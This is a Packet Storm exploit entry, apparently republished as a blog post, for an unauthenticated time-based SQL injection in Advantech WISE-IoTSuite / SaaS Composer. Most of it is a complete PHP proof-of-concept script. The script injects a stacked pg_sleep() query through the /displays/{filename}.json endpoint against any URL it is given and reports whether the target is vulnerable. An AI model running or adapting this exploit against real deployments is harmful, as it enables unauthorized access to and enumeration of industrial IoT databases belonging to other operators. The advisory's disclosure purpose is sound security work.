{“lastseen”:”2026-01-30T17:51:18″,”description”:”A critical unauthenticated SQL injection vulnerability was identified in Advantech WISE-IoTSuite \/ SaaS Composer. The issue resides in the \/displays\/filename.json endpoint, where the filename parameter is improperly sanitized before being concatenated…”,”published”:”2026-01-30T00:00:00″,”modified”:”2026-01-30T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Advantech IoTSuite \/ IoT Edge SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:214605″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : Advantech IoTSuite \/ IoT Edge Products SaaS Composer \u2013 Unauthenticated Time-Based SQL Injection |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.advantech.com\/en |\\n =============================================================================================================================================\\n \\n [+] References : \\n \\n [+] Summary : A critical unauthenticated SQL injection vulnerability was identified in Advantech WISE-IoTSuite \/ SaaS Composer.\\n The issue resides in the \/displays\/{filename}.json endpoint, where the filename parameter is improperly sanitized before being concatenated into a backend PostgreSQL query.\\n An attacker can exploit this flaw by injecting stacked SQL queries, such as a time-based payload using pg_sleep(), to confirm successful query execution.\\n This vulnerability may allow database enumeration, sensitive data disclosure, and under certain configurations, could potentially lead to remote code execution depending on database privileges.\\n The vulnerability can be exploited remotely without authentication, posing a significant security risk to affected deployments.\\n \\n [+] POC :\\n \\n \\u003c?php\\n \\n error_reporting(E_ALL);\\n ini_set(\\”display_errors\\”, 1);\\n \\n $SLEEP_TIME = 10;\\n $TIMEOUT = 15;\\n \\n function build_payload_path($org_id, $sleep_time) {\\n return \\”\/displays\/filename.json’; select pg_sleep(\\” . $sleep_time . \\”) –?org_id=\\” . $org_id;\\n }\\n \\n function test_vulnerability($base_url, $org_id, $sleep_time, $timeout) {\\n \\n if (!preg_match(‘#^https?:\/\/#’, $base_url)) {\\n $base_url = \\”https:\/\/\\” . $base_url;\\n }\\n \\n $payload = build_payload_path($org_id, $sleep_time);\\n $target = rtrim($base_url, ‘\/’) . $payload;\\n \\n echo \\”[+] Target URL : {$base_url}\\\\n\\”;\\n echo \\”[+] Injecting : org_id={$org_id}\\\\n\\”;\\n echo \\”[+] Payload : {$payload}\\\\n\\”;\\n echo \\”[+] Full URL : {$target}\\\\n\\”;\\n echo \\”—————————————————-\\\\n\\”;\\n \\n $ch = curl_init();\\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $target,\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n CURLOPT_TIMEOUT =\\u003e $timeout\\n ]);\\n \\n $start = microtime(true);\\n curl_exec($ch);\\n $error = curl_error($ch);\\n curl_close($ch);\\n \\n if ($error) {\\n echo \\”[!] ERROR: {$error}\\\\n\\”;\\n exit(3);\\n }\\n \\n $duration = microtime(true) – $start;\\n printf(\\”[*] Response time: %.2f seconds\\\\n\\”, $duration);\\n \\n if ($duration \\u003e= $sleep_time) {\\n echo \\”\\\\n=== RESULT: VULNERABLE ===\\\\n\\”;\\n echo \\”[+] Time-based SQL injection confirmed.\\\\n\\”;\\n echo \\”[+] PostgreSQL pg_sleep() executed.\\\\n\\”;\\n echo \\”[+] Further impact depends on DB privileges.\\\\n\\”;\\n exit(0);\\n } else {\\n echo \\”\\\\n=== RESULT: NOT VULNERABLE ===\\\\n\\”;\\n echo \\”[-] No significant delay detected.\\\\n\\”;\\n exit(1);\\n }\\n }\\n \\n $options = getopt(\\”\\”, [\\”url:\\”, \\”org::\\”]);\\n \\n if (!isset($options[\\”url\\”])) {\\n echo \\”Usage: php advantech_sqli_poc.php –url https:\/\/target –org 1\\\\n\\”;\\n exit(1);\\n }\\n \\n $org_id = isset($options[\\”org\\”]) ? (int)$options[\\”org\\”] : 1;\\n \\n echo \\”==========================================================\\\\n\\”;\\n echo \\” Advantech SaaS Composer – SQL Injection PoC by indoushka\\\\n\\”;\\n echo \\”==========================================================\\\\n\\”;\\n echo \\”[*] Using org_id = {$org_id}\\\\n\\\\n\\”;\\n \\n test_vulnerability($options[\\”url\\”], $org_id, $SLEEP_TIME, $TIMEOUT);\\n \\n \\n \\t\\n Greetings to :============================================================\\n jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n ==========================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214605″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214605\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-30T17:51:18″,”description”:”A critical unauthenticated SQL injection vulnerability was identified in Advantech WISE-IoTSuite \/ SaaS Composer. The issue resides in the \/displays\/filename.json endpoint, where the filename parameter…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-38347","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n